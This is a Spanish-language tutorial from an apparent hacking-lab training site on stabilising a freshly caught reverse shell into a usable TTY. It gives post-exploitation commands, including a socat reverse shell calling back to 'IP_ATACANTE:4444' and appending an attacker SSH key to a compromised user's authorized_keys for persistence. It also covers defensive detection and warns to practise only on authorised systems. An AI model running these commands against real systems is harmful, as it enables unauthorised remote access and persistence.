Aprende › Fundamentos

Estabilizar una TTY: cómo hacer usable una terminal remota recién obtenida

· 11 min de lectura

Aprende por qué una terminal recién obtenida en un laboratorio no se comporta como una real, qué es una TTY, cómo estabilizarla con varios métodos (Python, script, socat) y qué hacer cuando ninguno está disponible en el servidor.

En el momento en que consigues una terminal remota en un servidor de laboratorio, aparecen una serie de pequeñas molestias que lo cambian todo: el Tab no autocompleta, las flechas imprimen caracteres raros, Ctrl+C cierra la sesión entera, vim o nano dejan la pantalla destrozada y, si pierdes la conexión, en el servidor queda un proceso colgado. La causa es la misma en todos los casos: la terminal que recibiste no es una TTY real.

Estabilizar la TTY es el procedimiento estándar para convertir esa terminal limitada en una lo más parecida posible a la que tendrías conectándote por SSH. No es opcional: muchas escaladas de privilegios en los laboratorios de whoami-labs requieren usar sudo, editar un archivo o lanzar su, y eso no funciona sin una terminal estabilizada.

En esta lección vas a ver qué es una TTY y por qué importa, el procedimiento clásico paso a paso, varias alternativas según lo que haya en el servidor, cómo ajustar el tamaño y el tipo, y qué hacer cuando ninguna opción habitual está disponible.

Practica solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Estabilizar terminales en servidores ajenos sin permiso es un delito.

Qué es una TTY y por qué importa#

TTY viene de teletypewriter, los teletipos que se usaban como terminales físicos hace décadas. Hoy el nombre se mantiene: en Linux, una TTY o pseudo-TTY (PTY) es un dispositivo especial que permite al núcleo tratar un canal como si fuera un terminal real, con ecos, señales (como Ctrl+C), tamaño de ventana y gestión de líneas.

Una conexión sin TTY solo mueve bytes; una con TTY añade eco, señales, tamaño y gestión de líneas
Una conexión sin TTY solo mueve bytes; una con TTY añade eco, señales, tamaño y gestión de líneas

Sin TTY, lo que tienes es solo una tubería de bytes: lo que escribes se envía tal cual al proceso remoto y lo que él imprime vuelve igual. No hay nadie interpretando Ctrl+C como «envía la señal de interrupción al proceso en curso»: ese Ctrl+C cierra directamente tu nc -lvnp. No hay nadie que entienda Tab como «autocompleta». Y como las aplicaciones no reciben el tamaño de la ventana, los editores no saben cuántas columnas pintar.

Diferencias concretas#

Problema con TTY no estabilizadaCausa
Ctrl+C cierra la sesiónLa señal se envía al proceso local, no al servidor
Tab no autocompletaEl shell remoto no sabe que puede usarlo
Flechas imprimen ^[[A, ^[[B…No hay intérprete de secuencias de escape
clear, vim o top muestran una pantalla rotaNo hay información de tamaño ni de tipo de terminal
sudo responde no tty presentSudo detecta que falta y lo rechaza por seguridad
su responde must be run from a terminalIgual que sudo, requiere TTY

Esa última es la más crítica: muchas escaladas de privilegios dependen de sudo o de su, y sin TTY estabilizada no se puede siquiera lanzarlas.

El procedimiento clásico con Python#

Los cuatro pasos del procedimiento clásico con Python para estabilizar una terminal remota
Los cuatro pasos del procedimiento clásico con Python para estabilizar una terminal remota

Es el método más común porque Python está instalado en prácticamente cualquier servidor Linux. Lo recorremos paso a paso, asumiendo que ya tienes una terminal recién obtenida con nc -lvnp 4444 en tu equipo.

Paso 1: lanzar una shell con pseudo-TTY#

Dentro de la terminal recibida, ejecuta:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Si no hay Python 3, prueba python (que sería Python 2). Ya tienes una cosa ganada: las señales como Ctrl+C ya se manejan dentro del servidor, en lugar de cortar la conexión. Pero el Tab todavía no funciona y las flechas siguen saliendo mal, porque tu terminal local aún no está en modo adecuado.

Paso 2: pausar la sesión y configurar tu terminal#

Pulsa Ctrl+Z para dejar la sesión en segundo plano. Vuelves a tu propia shell. Ahora pon tu terminal local en modo «crudo» para que pase todas las teclas al servidor sin interpretarlas:

stty raw -echo; fg

stty raw desactiva el procesamiento normal (buffer por líneas, eco, traducción de señales) y -echo oculta el eco local. fg retoma la sesión que dejaste en segundo plano. Pulsa Enter un par de veces y volverás al prompt del servidor.

Paso 3: ajustar tipo y tamaño de la terminal#

De vuelta en la terminal remota, dile al shell qué tipo de terminal estás usando y su tamaño actual (consulta las filas y columnas de tu terminal local con stty size antes de la sesión):

export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 columns 120

A partir de este punto tienes autocompletado con Tab, flechas y búsqueda con Ctrl+R, editores como vim o nano funcionan bien, clear limpia la pantalla, y sudo o su ya aceptan responder.

Paso 4: recuperar tu terminal al terminar#

Cuando salgas de la sesión remota, tu terminal local se quedará en modo crudo y verás los caracteres sueltos. Con este comando a ciegas la devuelves a la normalidad:

reset

Si reset tampoco responde, cierra la terminal y abre una nueva.

Alternativas según lo que haya en el servidor#

Python es lo más habitual, pero no siempre está. Estas son las alternativas probadas que verás en laboratorios y en guías como la de PayloadsAllTheThings.

Con script#

Presente en casi cualquier sistema con utilidades básicas:

script -qc /bin/bash /dev/null

Combinado con los pasos 2 y 3 de stty raw -echo y los export, da un resultado muy similar al de Python.

Con socat#

Si hay socat en el servidor (o puedes subirlo), ofrece la mejor terminal, directamente con el tamaño correcto. En tu equipo, en lugar de nc, escucha con socat:

socat file:`tty`,raw,echo=0 tcp-listen:4444

Y desde el servidor:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP_ATACANTE:4444

Con esta combinación obtienes señales, autocompletado, tipo de terminal y tamaño correctos sin tener que ejecutar los tres pasos anteriores.

Variantes con otros intérpretes#

Muchas guías publican líneas parecidas a la de Python para Perl, Ruby o Lua, por si en el servidor hay uno pero no otro. La idea es siempre la misma: pedir al intérprete que llame a la función del sistema que crea un pseudo-TTY (openpty o similar) y lance un shell dentro.

Variantes sin ningún intérprete#

En servidores reducidos donde no hay Python ni script ni socat, el método clásico es con expect:

expect -c 'spawn bash; interact'

Y como último recurso, el truco de stty tras lanzar bash:

echo os.system('/bin/bash') | script -qc /bin/sh /dev/null

En estos casos, el resultado suele ser menos cómodo que con Python o socat. Suele compensar subir tú el binario que falta (socat compilado estáticamente, por ejemplo) en lugar de pelearse con alternativas limitadas.

Averiguar el tamaño correcto#

El paso de stty rows 40 columns 120 debe usar los valores de tu terminal local. Antes de obtener la sesión, en tu propia terminal:

stty size
40 120

Ese es el valor que debes repetir en el servidor. Si cambias el tamaño de la ventana durante la sesión, puedes volver a ejecutar stty rows N columns M en la sesión remota.

También hay un truco rápido: dentro de la sesión remota, con tput cols y tput lines puedes comprobar lo que el servidor cree sobre el tamaño; si no coincide con lo que ves, ajusta con stty.

Qué ve el defensor cuando estabilizas#

Desde el lado defensivo, una estabilización de TTY deja rastros muy reconocibles si hay auditoría activada. El comando python3 -c 'import pty; pty.spawn("/bin/bash")' aparece en los registros como un proceso hijo de la aplicación vulnerable (por ejemplo, el servidor web) que lanza Python, y Python a su vez lanza bash con un pseudo-TTY. Ese patrón, www-data → python3 → bash en una pseudo-terminal, no ocurre nunca en el funcionamiento normal de un servidor web.

Con auditd u osquery, una regla sencilla que registre la creación de procesos con pty.spawn, /dev/pts/ o script como hijos de usuarios de servicio dispara una alerta muy precisa. Y en sistemas reforzados con SELinux o AppArmor, el perfil del servidor web directamente prohíbe invocar intérpretes, así que el ataque falla antes de llegar a estabilizar nada.

Cuando nada sale bien: shell web o SSH como plan B#

Si estabilizar una reverse shell concreta se complica, muchas veces el camino rápido es crear una cuenta propia en el servidor o copiar tu clave pública a ~/.ssh/authorized_keys del usuario comprometido y conectarte después por SSH. Una sesión por SSH es, por diseño, una TTY completa: no hay que estabilizar nada.

# Dentro de la sesión poco usable
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo 'ssh-ed25519 AAAA... usuario@mi-equipo' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Si el servidor tiene SSH corriendo y accesible desde tu equipo, pasar a ssh usuario@IP_DEL_LAB es mucho más cómodo que estabilizar la terminal recibida, y ya conservas la sesión aunque haya cortes de red.

Errores comunes#

  • Olvidar el fg tras stty raw -echo. La terminal local queda en modo crudo sin sesión que la justifique.
  • No ajustar el tamaño. Los editores siguen viéndose mal aunque las flechas ya funcionen.
  • Usar python sin más en sistemas solo con Python 3. El comando falla silenciosamente; conviene probar python3.
  • Resetear mal al terminar. Si reset no aparece escrito, pruébalo igualmente «a ciegas» pulsando Enter antes y después.
  • Confundir estabilizar una terminal con mantener una sesión. Para que la sesión sobreviva a cortes de red, necesitas una shell persistente: tmux o screen dentro de la sesión estabilizada, o pasarte a SSH.

Preguntas frecuentes#

¿Qué significa la diferencia entre TTY y PTY?#

TTY es el término histórico para un terminal; PTY (pseudo-TTY) es la implementación moderna: un par de dispositivos que simula una terminal para programas que no están frente a una pantalla física. En la práctica se usan como sinónimos.

¿Por qué sudo dice «no tty present»?#

Por seguridad: sudo normalmente exige una terminal real para pedir la contraseña y evitar que un proceso automatizado introduzca credenciales. Con una TTY estabilizada, la detecta y funciona con normalidad.

¿Es obligatorio hacer esto siempre?#

No: si solo vas a ejecutar un par de comandos y descargar algo, puedes trabajar sin estabilizar. Pero cualquier escalada que requiera sudo, un editor o una sesión larga lo necesita.

¿Qué pasa si el servidor no tiene Python, script ni socat?#

Buscas otro intérprete (Perl, Ruby) o subes socat estático. También puedes crear una cuenta o colocar una clave SSH para conectarte después por SSH, que da terminal completa sin esfuerzo adicional.

¿Dónde practico?#

En los laboratorios enlazados al final de esta lección, donde conseguir la primera reverse shell es solo el principio y la escalada necesita una TTY estabilizada.

Resumen#

  • Una terminal remota recién obtenida no es una TTY real: sin eco, sin señales, sin tamaño, sin tipo.
  • Síntomas: Ctrl+C corta la sesión, Tab no autocompleta, sudo dice «no tty present».
  • El procedimiento clásico con Python tiene cuatro pasos: pty.spawn, Ctrl+Z, stty raw -echo; fg, export TERM y stty rows N columns M.
  • Hay alternativas con script, socat, expect o intérpretes equivalentes según lo que haya instalado.
  • Para sesiones largas, mejor pasar a SSH con clave propia o usar tmux dentro de la sesión estabilizada.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría